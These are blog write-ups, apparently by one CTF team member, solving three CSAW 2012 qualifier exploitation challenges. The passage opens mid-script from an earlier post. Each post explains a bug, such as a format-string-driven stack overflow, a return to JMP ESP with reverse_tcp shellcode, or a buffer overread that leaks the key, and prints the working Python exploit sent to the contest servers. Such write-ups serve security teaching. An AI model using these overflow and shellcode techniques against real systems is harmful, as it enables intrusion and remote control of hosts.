win += binascii.unhexlify(endian(int2hex(4))) # Put our fd on stack
win += binascii.unhexlify(endian('0804B000')) # Put address to recv to on stack
win += binascii.unhexlify(endian(int2hex(len(sh)+1))) # Length of recv
win += binascii.unhexlify(endian(int2hex(0))) # recv flags
win += '\n'

print win, len(win)
time.sleep(1)
s.sendall(sh+'\n') # send our shellcode to the recv we set up



-- suntzu_II

Monday, October 1, 2012

CSAW CTF Quals: Exploitation 400

First, before we begin, I must say this. THIS IS NOT A STRING FORMAT ATTACK! Kind of. It turns out that this challenge has a format string that we can use to generate more characters than the buffer can handle, leading to an overwriting of a return address, giving us control of EIP. The real trick with this one is figuring out where to put stuff in this attack.

The way that we used the format string to overflow the stack was by using '%8c' within our payload. This writes 8 garbage characters, but takes up far fewer bytes of the recv than that. This let us write a lot of characters to the buffer and overflow it. But what to do with the return address?

We kind of derped around a bit trying to do a recv to a big chunk RWX memory in the program but ran into a lot of troubles with null bytes (because it's doing string operations). We eventually realized that there was a reference to the buffer that our initial sent payload at the constant address 0x0804b120 and since the stack is executable, we could just return there to win.

The last thing to try to bypass is the protections within the program against having any string like /bin/sh inside the payload we send. msfvenom was producing some pretty terrible shellcode, so we just wrote our own that did some math to eventually get the stack to have /bin/sh in it after the program checked our payload.

Our winning python script, win.py, is shown below.
import socket, binascii

def recvUntil(socket,until):
string = ""
while not until in string:
string += socket.recv(1)
print string
return string

def dofmt(string, returnStdout=True):
s = socket.socket()
s.connect(('128.238.66.213', 23456))

recvUntil(s,"Saying: ")
string = string.replace("$","\$")
string = string.replace('"','\\"')
s.sendall(string+'\n')

return 'bob'

def endian(s):
if len(s) < 8:
s = s.zfill(8)
return s[6:8]+s[4:6]+s[2:4]+s[0:2]

win = shellcode
win += '%8c'*(65-(len(shellcode)/8))+'aa'
win += binascii.unhexlify(endian('0804B120'))
print win
dofmt(win)



-- suntzu_II

Sunday, September 30, 2012

CSAW CTF Quals: Exploitation 300

This one was interesting because it was all in Chinese (according to Google Translate). So we set up the binary on a local machine and got cracking. We ran some of the strings of Chinese through Google Translate and got the string "This part is not difficult, but I hope you have fun. If you give me a large amount of data, it may be a bad thing will happen." So we sent it a lot of stuff. And it broke.

We attached to the process with gdb and sent the program a pattern so we could figure out the offset of the return address we were overwriting and got an offset of 326 bytes. Now to figure out what to return to.

Turns out that the stack was executable and there was a convenient 'JMP ESP' sittin' around at address 0x08048F47, so we overwrote the return address with the jmp esp and then popped in some nice reverse_tcp shellcode and won! Our win.py is posted below.
import socket, binascii

# For our pattern generator
#alph = 'abcefghijklmnopqrstuvwxyz'

def recv(s):
print s.recv(1024)

def endian(s):
if len(s) < 8:
s = s.zfill(8)
return s[6:8]+s[4:6]+s[2:4]+s[0:2]

s = socket.socket()
s.connect(('128.238.66.218', 4842))

recv(s)
win = 'a'*326
win += binascii.unhexlify(endian('08048f47'))

# A simple pattern generator
#for i in alph:
# for j in range(0,10):
#  breaker += i + str(j)

print win, len(win)
s.sendall(win)
recv(s)



-- suntzu_II

CSAW CTF Quals: Exploitation 200

This binary was not so much an exploitation as understanding how the code that they were using worked. So we downloaded the binary and got to work. The important code is shown below.
  memset(&buf, 0, 0x200u);
send(fd, "Wecome to my first CS project.\nPlease type your name:  ", 0x37u, 0);
recv(fd, &buf, 0x204u, 0);
v3 = 0;
if ( !strcmp(&buf, "AAAAAAAAAAAAAAAAAAAAAAAAAA\n") )
v4 = 1;
if ( v4 )
{
::fd = (int)fopen("./key", "r");
__isoc99_fscanf(::fd, "%s", &buf);
recv(fd, 0, 0x10u, 64);
send(fd, &buf, 0x200u, 0);
}


We got this working on our local machine and got the key by simply sending the string AAAAAAAAAAAAAAAAAAAAAAAAAA\n to the server and it would spit back our key that we created to us at the beginning of the string we wrote, like bobAAAAAAAAAAAAAAAAAAAAAAA. However, this did not work on their server to the bewilderment of our group.

We new that they gave us a large number of bytes to play with in the buffer and with the recv, so we eventually just sent AAAAAAAAAAAAAAAAAAAAAAAAAA\n+'A'*100+'\x00' to the game server and it spit back the key to us in embedded in the payload. We believe that it did not work in the first case because the buffer was set to all null bytes and there was not enough 'space' available to write to because the payload we sent to was too small to fit the key into. So our winning payload, win.py, is shown below.
import socket

s = socket.socket()
s.connect(('128.238.66.218',54321))

s.recv(1024)
winner = 'AAAAAAAAAAAAAAAAAAAAAAAAAA\n'
winner += 'A'*(0x200-len(winner))+'\x00'
print winner
s.sendall(winner+'\n')
#s.sendall('a'*15+'\n')
print s.recv(1024)



-- suntzu_II